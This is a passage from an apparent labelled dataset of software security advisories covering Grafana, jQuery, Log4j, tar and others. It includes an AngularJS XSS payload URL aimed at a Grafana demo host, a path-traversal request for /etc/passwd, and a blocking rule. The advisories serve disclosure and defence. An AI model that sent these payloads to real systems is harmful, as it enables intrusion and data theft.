that the below will identify all attacks, so if you find something using the audit process described below, you should consider doing a full assessment.\n\n#### Through reverse proxy/load balancer logs\n\nTo determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path contains `{{` followed by something that would invoke JavaScript code. For example, this could be code that attempts to show a fake login page or to steal browser or session data. The [OWASP cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) has several examples of XSS attacks.\n\n#### Through the Grafana Enterprise audit feature\n\nIf you enabled “Log web requests” in your configuration with `router_logging = true`, look for requests where `path` contains `{{` followed by something that would invoke JavaScript code.\n\n### Patched versions\n\nRelease 8.2.3:\n\n- [Download Grafana 8.2.3](https://grafana.com/grafana/download/8.2.3)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-2-3/)\n\n### Solutions and mitigations\n\nDownload and install the appropriate patch for your version of Grafana.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n### Workaround\n\nIf for some reason you cannot upgrade, you can use a reverse proxy or similar to block access to block the literal string `{{` in the path.\n\nExample of an Nginx rule to block the literal string `{{`:\n\n```\nlocation ~ \\{\\{ {\n    deny all;\n}\n```\n### Timeline and postmortem\n\nHere is a de", "text_raw": "XSS vulnerability allowing arbitrary JavaScript execution\n\n[Severity: MEDIUM]\n\nToday we are releasing Grafana 8.2.3. This patch release includes an important security fix for an issue that affects all Grafana versions from 8.0.0-beta1.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n## CVE-2021-41174 XSS vulnerability on unauthenticated pages\n\n### Summary\n\nCVSS Score: 6.9 Medium\nCVSS:[CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N/E:U/RL:O/RC:R/CR:L/MAV:N/MAC:H/MPR:N/MUI:R/MS:C/MC:N/MI:H/MA:L](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N/E:U/RL:O/RC:R/CR:L/MAV:N/MAC:H/MPR:N/MUI:R/MS:C/MC:N/MI:H/MA:L)\n\nWe received a security report to security@grafana.com on 2021-10-21 about a vulnerability in Grafana regarding the XSS vulnerability.\n\nIt was later identified as affecting Grafana versions from 8.0.0-beta1 to 8.2.2. [CVE-2021-41174](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41174) has been assigned to this vulnerability.\n\n### Impact\n\nIf an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser.\n\nThe user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar.\n\nThere are two ways an unauthenticated user can open a page in Grafana that contains the login button:\n- Anonymous authentication is enabled. This means all pages in Grafana would be open for the attack.\n- The link is to an unauthenticated page. The following pages are vulnerable:\n  - `/dashboard-solo/snapshot/*`\n  - `/dashboard/snapshot/*`\n  - `/invite/:code`\n\nThe url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions. AngularJS uses double curly braces for interpolation binding: {{ }} \n\nAn example of an expression would be: `{{constructor.constructor(‘alert(1)’)()}}`. This can be included in the link URL like this: \n\nhttps://play.grafana.org/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D?orgId=1\n\nWhen the user follows the link and the page renders, the login button will contain the original link with a query parameter to force a redirect to the login page. The URL is not validated and the AngularJS rendering engine will execute the JavaScript expression contained in the URL.\n\n### Attack audit\n\nWe can not guarantee that the below will identify all attacks, so if you find something using the audit process described below, you should consider doing a full assessment.\n\n#### Through reverse proxy/load balancer logs\n\nTo determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path contains `{{` followed by something that would invoke JavaScript code. For example, this could be code that attempts to show a fake login page or to steal browser or session data. The [OWASP cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) has several examples of XSS attacks.\n\n#### Through the Grafana Enterprise audit feature\n\nIf you enabled “Log web requests” in your configuration with `router_logging = true`, look for requests where `path` contains `{{` followed by something that would invoke JavaScript code.\n\n### Patched versions\n\nRelease 8.2.3:\n\n- [Download Grafana 8.2.3](https://grafana.com/grafana/download/8.2.3)\n- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-2-3/)\n\n### Solutions and mitigations\n\nDownload and install the appropriate patch for your version of Grafana.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries unde", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "c4f03be60c3f033eb3d4", "text": "Potential XSS vulnerability in jQuery\n\n### Impact\nPassing HTML containing `<option>` elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code.\n\n### Patches\nThis problem is patched in jQuery 3.5.0.\n\n### Workarounds\nTo workaround this issue without upgrading, use [DOMPurify](https://github.com/cure53/DOMPurify) with its `SAFE_FOR_JQUERY` option to sanitize the HTML string before passing it to a jQuery method.\n\n### References\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery repo](https://github.com/jquery/jquery/issues). If you don't find an answer, open a new issue.", "text_raw": "Potential XSS vulnerability in jQuery\n\n[Severity: MEDIUM]\n\n### Impact\nPassing HTML containing `<option>` elements from untrusted sources - even after sanitizing them - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code.\n\n### Patches\nThis problem is patched in jQuery 3.5.0.\n\n### Workarounds\nTo workaround this issue without upgrading, use [DOMPurify](https://github.com/cure53/DOMPurify) with its `SAFE_FOR_JQUERY` option to sanitize the HTML string before passing it to a jQuery method.\n\n### References\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery repo](https://github.com/jquery/jquery/issues). If you don't find an answer, open a new issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "9911f14b881038b98340", "text": "Server-Side Request Forgery in @uppy/companion\n\nThe @uppy/companion npm package before versions 1.13.2 and 2.0.0-alpha.5 is vulnerable to a Server-Side Request Forgery (SSRF) vulnerability, which allows an attacker to scan local or external networks or otherwise interact with internal systems.", "text_raw": "Server-Side Request Forgery in @uppy/companion\n\n[Severity: HIGH]\n\nThe @uppy/companion npm package before versions 1.13.2 and 2.0.0-alpha.5 is vulnerable to a Server-Side Request Forgery (SSRF) vulnerability, which allows an attacker to scan local or external networks or otherwise interact with internal systems.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-13", "split": "train"}
-{"id": "72ac24e1939bcc6b30c4", "text": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\nIn Apache Tika 1.19 to 1.21, a carefully crafted 2003ml or 2006ml file could consume all available SAXParsers in the pool and lead to very long hangs. Apache Tika users should upgrade to 1.22 or later.", "text_raw": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\n[Severity: MEDIUM]\n\nIn Apache Tika 1.19 to 1.21, a carefully crafted 2003ml or 2006ml file could consume all available SAXParsers in the pool and lead to very long hangs. Apache Tika users should upgrade to 1.22 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
-{"id": "2ffb05012aca30dace36", "text": "actionpack Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/sanitize_helper.rb` in the `strip_tags` helper in Ruby on Rails before 2.3.16, 3.0.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML via malformed HTML markup.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/sanitize_helper.rb` in the `strip_tags` helper in Ruby on Rails before 2.3.16, 3.0.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML via malformed HTML markup.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dab012ec9b680e3cfdf4", "text": "PHPMailer untrusted code may be run from an overridden address validator\n\nIf a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\n### Impact\nLow impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\n### Patches\nThis is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\n### Workarounds\nInject your own email validator function.\n\n### References\nReported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n[CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n* [Email us](mailto:phpmailer@synchromedia.co.uk).", "text_raw": "PHPMailer untrusted code may be run from an overridden address validator\n\n[Severity: HIGH]\n\nIf a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\n### Impact\nLow impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\n### Patches\nThis is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\n### Workarounds\nInject your own email validator function.\n\n### References\nReported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n[CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n* [Email us](mailto:phpmailer@synchromedia.co.uk).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "f5229427c5b65615f63f", "text": "A failed upgrade may lead to hung goroutines\n\n### Impact\nProcesses using tableflip may encounter hung goroutines in the parent process, after a failed upgrade.\n\nThe Go runtime has annoying behaviour around setting and clearing\nO_NONBLOCK: exec.Cmd.Start() ends up calling os.File.Fd() for any\nfile in exec.Cmd.ExtraFiles. os.File.Fd() disables both the use\nof the runtime poller for the file and clears O_NONBLOCK from\nthe underlying open file descriptor.\n\nThis can lead to goroutines hanging in a parent process, after at least\none failed upgrade. The bug manifests in goroutines which rely on\neither a deadline or interruption via Close() to be unblocked being stuck\nin read or accept like syscalls. As far as I can tell we've not experienced\nthis problem in production, so it's most likely quite rare.\n\n### Patches\nThe problem has been fixed in v1.2.2.\n\n### Workarounds\nNone.\n\n### References\n* https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0", "text_raw": "A failed upgrade may lead to hung goroutines\n\n[Severity: LOW]\n\n### Impact\nProcesses using tableflip may encounter hung goroutines in the parent process, after a failed upgrade.\n\nThe Go runtime has annoying behaviour around setting and clearing\nO_NONBLOCK: exec.Cmd.Start() ends up calling os.File.Fd() for any\nfile in exec.Cmd.ExtraFiles. os.File.Fd() disables both the use\nof the runtime poller for the file and clears O_NONBLOCK from\nthe underlying open file descriptor.\n\nThis can lead to goroutines hanging in a parent process, after at least\none failed upgrade. The bug manifests in goroutines which rely on\neither a deadline or interruption via Close() to be unblocked being stuck\nin read or accept like syscalls. As far as I can tell we've not experienced\nthis problem in production, so it's most likely quite rare.\n\n### Patches\nThe problem has been fixed in v1.2.2.\n\n### Workarounds\nNone.\n\n### References\n* https://github.com/cloudflare/tableflip/commit/cae714b289e199db5da5f08af861ea65be6232c0", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "210f84ac4aa5ff82cc09", "text": "Local file inclusion allows unauthorized access to internal resources in Alkacon OpenCms\n\nIn Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple resources vulnerable to Local File Inclusion that allow an attacker to access server resources: clearhistory.jsp, convertxml.jsp, group_new.jsp, loginmessage.jsp, xmlcontentrepair.jsp, and /system/workplace/admin/history/settings/index.jsp.", "text_raw": "Local file inclusion allows unauthorized access to internal resources in Alkacon OpenCms\n\n[Severity: MEDIUM]\n\nIn Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple resources vulnerable to Local File Inclusion that allow an attacker to access server resources: clearhistory.jsp, convertxml.jsp, group_new.jsp, loginmessage.jsp, xmlcontentrepair.jsp, and /system/workplace/admin/history/settings/index.jsp.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "c6a27102fa5c11521e45", "text": "node-browser downloads Resources over HTTP\n\nAffected versions of `node-browser` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "node-browser downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `node-browser` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a382af3c12d9d87c32b5", "text": "Apache Airflow vulnerable to Stored XSS\n\nIn Apache Airflow before 1.10.2, a malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views.", "text_raw": "Apache Airflow vulnerable to Stored XSS\n\n[Severity: MEDIUM]\n\nIn Apache Airflow before 1.10.2, a malicious admin user could edit the state of objects in the Airflow metadata database to execute arbitrary javascript on certain page views.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-06", "split": "train"}
-{"id": "7e1de23f3b8e62158f54", "text": "Arbitrary File Overwrite in tar\n\nVersions of `tar` prior to 4.4.2 for 4.x and 2.2.2 for 2.x are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file.\n\n## Recommendation\n\nFor tar 4.x, upgrade to version 4.4.2 or later.\nFor tar 2.x, upgrade to version 2.2.2 or later.", "text_raw": "Arbitrary File Overwrite in tar\n\n[Severity: HIGH]\n\nVersions of `tar` prior to 4.4.2 for 4.x and 2.2.2 for 2.x are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file.\n\n\n## Recommendation\n\nFor tar 4.x, upgrade to version 4.4.2 or later.\nFor tar 2.x, upgrade to version 2.2.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-01", "split": "train"}
-{"id": "75df14f8be562fbae7d5", "text": "CorelDRAW X7 CDR File (CdrTxt.dll) Off-By-One Stack Corruption Vulnerability", "text_raw": "CorelDRAW X7 CDR File (CdrTxt.dll) Off-By-One Stack Corruption Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-11-12", "split": "train"}
-{"id": "6076f5fd36b777147f50", "text": "smartbanner.js rel noopener vulnerability\n\n## rel noopener vulnerability\n\n### Impact\nClicking on smartbanner _View_ link and navigating to 3rd party page leaves `window.opener` exposed. It may allow hostile 3rd parties to abuse `window.opener`, e.g. by redirection or injection on the original page with smartbanner.\n\n### Patches\n`rel=\"noopener\"` is automatically populated to links as of `v1.14.1` which is a recommended upgrade to resolve the vulnerability.\n\n### Workarounds\nIf you can not upgrade to `v1.14.1`:\n1. Ensure _View_ link is only taking users to App Store or Google Play Store where security is guarded by respective app store security teams\n2. If _View_ link is going to a 3rd party page, limit smartbanner.js to be used on iOS that decreases the scope of the vulnerability since as of Safari 12.1,  `rel=\"noopener\"` is imposed on all `target=\"_blank\"` links.\n\nFollowing combination of smartbanner meta tags can be used to achieve the above:\n\n```html\n    <meta name=\"smartbanner:enabled-platforms\" content=\"none\">\n    <meta name=\"smartbanner:include-user-agent-regex\" content=\"Mobile.*Safari\">\n    ```\n\n### References\n* [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/)\n* [Safari 12.1 Release Notes](https://developer.apple.com/documentation/safari_release_notes/safari_12_1_release_notes#3130296)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [smartbanner.js](https://github.com/ain/smartbanner.js/issues/new)", "text_raw": "smartbanner.js rel noopener vulnerability\n\n[Severity: LOW]\n\n## rel noopener vulnerability\n\n### Impact\nClicking on smartbanner _View_ link and navigating to 3rd party page leaves `window.opener` exposed. It may allow hostile 3rd parties to abuse `window.opener`, e.g. by redirection or injection on the original page with smartbanner.\n\n### Patches\n`rel=\"noopener\"` is automatically populated to links as of `v1.14.1` which is a recommended upgrade to resolve the vulnerability.\n\n### Workarounds\nIf you can not upgrade to `v1.14.1`:\n1. Ensure _View_ link is only taking users to App Store or Google Play Store where security is guarded by respective app store security teams\n2. If _View_ link is going to a 3rd party page, limit smartbanner.js to be used on iOS that decreases the scope of the vulnerability since as of Safari 12.1,  `rel=\"noopener\"` is imposed on all `target=\"_blank\"` links.\n\n    Following combination of smartbanner meta tags can be used to achieve the above:\n\n    ```html\n    <meta name=\"smartbanner:enabled-platforms\" content=\"none\">\n    <meta name=\"smartbanner:include-user-agent-regex\" content=\"Mobile.*Safari\">\n    ```\n\n### References\n* [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/)\n* [Safari 12.1 Release Notes](https://developer.apple.com/documentation/safari_release_notes/safari_12_1_release_notes#3130296)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [smartbanner.js](https://github.com/ain/smartbanner.js/issues/new)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-09-13", "split": "train"}
-{"id": "559705082ee9314a87e2", "text": "Prototype Pollution in nodee-utils\n\nAll versions of package nodee-utils below version 1.2.3 are vulnerable to Prototype Pollution via the deepSet function.", "text_raw": "Prototype Pollution in nodee-utils\n\n[Severity: CRITICAL]\n\nAll versions of package nodee-utils below version 1.2.3 are vulnerable to Prototype Pollution via the deepSet function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "25c9543e1017a3b5a1c0", "text": "phpBugTracker 1.0.5 Multiple Reflected XSS Vulnerabilities", "text_raw": "phpBugTracker 1.0.5 Multiple Reflected XSS Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-02-18", "split": "train"}
-{"id": "d9f2ab8026f101575077", "text": "Loofah Allows Cross-site Scripting\n\nIn the Loofah gem for Ruby through v2.3.0, unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished.", "text_raw": "Loofah Allows Cross-site Scripting\n\n[Severity: MEDIUM]\n\nIn the Loofah gem for Ruby through v2.3.0, unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-05", "split": "train"}
-{"id": "d9e51c5267ffc08f06c9", "text": "Apache Log4j Remote Code Execution\n\n### Impact\n\nOpencast uses an Apache Log4j2 version which, combined with older JDK versions, can be used for remote code execution attacks which have been found to be actively exploited.\n\nApache Log4j2 <=2.14.1 JNDI features is not sufficiently protected. An attacker who can control log messages or log message parameters can execute arbitrary code when message lookup substitution is enabled.\n\n### Who is affected\n\n- Opencast before 9.10 or 10.6 are affected\n    - Log4j version: all 2.x versions before 2.15.0 are affected\n\n### Patches\n\nThe issue has been fixed in Opencast 9.10 and 10.6.\n\n### Workarounds\n\nThe vulnerability can be mitigated by setting system property `log4j2.formatMsgNoLookups` to `true`.\n\n### References\n\n- [Opencast pull request mitigating the vulnerability](https://github.com/opencast/opencast/pull/3253)\n- [CVE-2021-44228 Detail](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)\n- [Analysis and Remediation Guidance to the Log4j Zero-Day RCE (CVE-2021-44228) Vulnerability](https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228)\n- [VE-2021-44228 – Log4j 2 Vulnerability Analysis](https://www.randori.com/blog/cve-2021-44228/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)\n\n### Note about dependencies\n\nThis issue affects many Java applications. Please also verify these are not vulnerable.", "text_raw": "Apache Log4j Remote Code Execution\n\n[Severity: CRITICAL]\n\n### Impact\n\nOpencast uses an Apache Log4j2 version which, combined with older JDK versions, can be used for remote code execution attacks which have been found to be actively exploited.\n\nApache Log4j2 <=2.14.1 JNDI features is not sufficiently protected. An attacker who can control log messages or log message parameters can execute arbitrary code when message lookup substitution is enabled.\n\n### Who is affected\n\n- Opencast before 9.10 or 10.6 are affected\n    - Log4j version: all 2.x versions before 2.15.0 are affected\n\n### Patches\n\nThe issue has been fixed in Opencast 9.10 and 10.6.\n\n### Workarounds\n\nThe vulnerability can be mitigated by setting system property `log4j2.formatMsgNoLookups` to `true`.\n\n### References\n\n- [Opencast pull request mitigating the vulnerability](https://github.com/opencast/opencast/pull/3253)\n- [CVE-2021-44228 Detail](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)\n- [Analysis and Remediation Guidance to the Log4j Zero-Day RCE (CVE-2021-44228) Vulnerability](https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228)\n- [VE-2021-44228 – Log4j 2 Vulnerability Analysis](https://www.randori.com/blog/cve-2021-44228/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n* Email us at [security@opencast.org](mailto:security@opencast.org)\n\n\n### Note about dependencies\n\nThis issue affects many Java applications. Please also verify these are not vulnerable.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "235373367eaf2ab0cbd6", "text": "Mango Automation 2.6.0 CSRF Arbitrary SQL Query Execution", "text_raw": "Mango Automation 2.6.0 CSRF Arbitrary SQL Query Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "332dc1705b5514ad4700", "text": "Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution", "text_raw": "Furukawa Electric ConsciusMAP 2.8.1 Java Deserialization Remote Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-04-24", "split": "train"}
-{"id": "c26884f9bf0af585a8cd", "text": "Directory Traversal in hcbserver\n\nAffected versions of `hcbserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in hcbserver\n\n[Severity: HIGH]\n\nAffected versions of `hcbserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "46747e8387a5a227f713", "text": "Use after free in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via an Auxdata API use-after-free.", "text_raw": "Use after free in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via an Auxdata API use-after-free.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "66d827cd54c3c108fbd2", "text": "Duplicate Advisory: Remote code execution in dask\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hwqr-f3v9-hwxr. This link is maintained to preserve external references.\n\n## Original Description\nAn issue was discovered in Dask (aka python-dask) through 2021.09.1. Single machine Dask clusters started with dask.distributed.LocalCluster or dask.distributed.Client (which defaults to using LocalCluster) would mistakenly configure their respective Dask workers to listen on external interfaces (typically with a randomly selected high port) rather than only on localhost. A Dask cluster created using this method (when running on a machine that has an applicable port exposed) could be used by a sophisticated attacker to achieve remote code execution.", "text_raw": "Duplicate Advisory: Remote code execution in dask\n\n[Severity: CRITICAL]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hwqr-f3v9-hwxr. This link is maintained to preserve external references.\n\n## Original Description\nAn issue was discovered in Dask (aka python-dask) through 2021.09.1. Single machine Dask clusters started with dask.distributed.LocalCluster or dask.distributed.Client (which defaults to using LocalCluster) would mistakenly configure their respective Dask workers to listen on external interfaces (typically with a randomly selected high port) rather than only on localhost. A Dask cluster created using this method (when running on a machine that has an applicable port exposed) could be used by a sophisticated attacker to achieve remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-27", "split": "train"}
-{"id": "37702b80a1751f8525cb", "text": "Oracle OpenSSO 8.0 Multiple XSS POST Injection Vulnerabilities", "text_raw": "Oracle OpenSSO 8.0 Multiple XSS POST Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-11-28", "split": "train"}
-{"id": "ef9800b54a00a5f206f8", "text": "Native Instruments Service Center 2.2.5 Insecure Library Loading Vulnerability", "text_raw": "Native Instruments Service Center 2.2.5 Insecure Library Loading Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "6185401b83283f50c638", "text": "Local Information Disclosure Vulnerability\n\n### Impact\nLocal information disclosure of sensitive information downloaded via the API using the API Client.\n\n### Finding\nThe Datadog API is executed on a unix-like system with multiple users. The API is used to download a file containing sensitive information. This sensitive information is exposed locally to other users. This vulnerability exists in the API Client for version 1 and 2. The method `prepareDownloadFilecreates` creates a temporary file with the permissions bits of `-rw-r--r--` on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded via the `downloadFileFromResponse` method will be visible to all other users on the local system.\n\nAnalysis of the finding determined that the affected code was unused, meaning that the exploitation likelihood is low. The unused code has been removed, effectively mitigating this issue.\n\nThis vulnerability was found due to [this query](https://lgtm.com/query/8938575359870595124/) that [Jonathan Leitschuh](https://github.com/JLLeitschuh) contributed to the Semmle QL project.\n\n### Patches\nThis issue has been patched in [version 1.0.0-beta.9](https://github.com/DataDog/datadog-api-client-java/releases/tag/datadog-api-client-1.0.0-beta.9).\n\nSee also [Remove unused downloadFile helpers](https://github.com/DataDog/datadog-api-client-java/pull/637).\n\n### Workarounds\nThe recommended workaround is to specify `java.io.tmpdir` when starting the JVM with the flag `-Djava.io.tmpdir`, specifying a path to a directory with `drw-------` permissions owned by `dd-agent`.\n\n### References\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [DataDog/datadog-api-client-java](https://github.com/DataDog/datadog-api-client-java)\t\n* Email us at [security@datadoghq.com](mailto:security@datadoghq.com)", "text_raw": "Local Information Disclosure Vulnerability\n\n[Severity: LOW]\n\n### Impact\nLocal information disclosure of sensitive information downloaded via the API using the API Client. \n\n### Finding\nThe Datadog API is executed on a unix-like system with multiple users. The API is used to download a file containing sensitive information. This sensitive information is exposed locally to other users. This vulnerability exists in the API Client for version 1 and 2. The method `prepareDownloadFilecreates` creates a temporary file with the permissions bits of `-rw-r--r--` on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded via the `downloadFileFromResponse` method will be visible to all other users on the local system.\n\nAnalysis of the finding determined that the 